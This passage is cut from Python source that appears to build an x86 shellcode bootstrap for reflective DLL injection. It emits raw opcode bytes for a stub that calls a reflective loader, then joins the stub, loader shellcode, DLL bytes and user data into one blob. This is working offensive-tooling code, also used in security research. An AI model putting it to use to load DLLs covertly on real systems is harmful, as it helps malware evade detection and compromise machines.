|
|
bootstrap += pack('I', len(userData))
|
|
|
|
# push ebx
|
|
bootstrap += b'\x53'
|
|
|
|
# push <hash of function>
|
|
bootstrap += b'\x68'
|
|
bootstrap += pack('I', functionHash)
|
|
|
|
# push eax
|
|
bootstrap += b'\x50'
|
|
|
|
# call - Transfer execution to the RDI
|
|
bootstrap += b'\xe8'
|
|
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
|
|
bootstrap += b'\x00\x00\x00'
|
|
|
|
# leave
|
|
bootstrap += b'\xc9'
|
|
|
|
# ret - return to caller
|
|
bootstrap += b'\xc3'
|
|
|
|
if len(bootstrap) != bootstrapSize:
|
|
raise Exception("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
|
|
|
|
# Ends up looking like this in memory:
|
|
# Bootstrap shellcode
|
|
# RDI shellcode
|
|
# DLL bytes
|
|
# User data
|
|
return bootstrap + rdiShellcode + dllBytes + userData
|
|
|
|
return False
|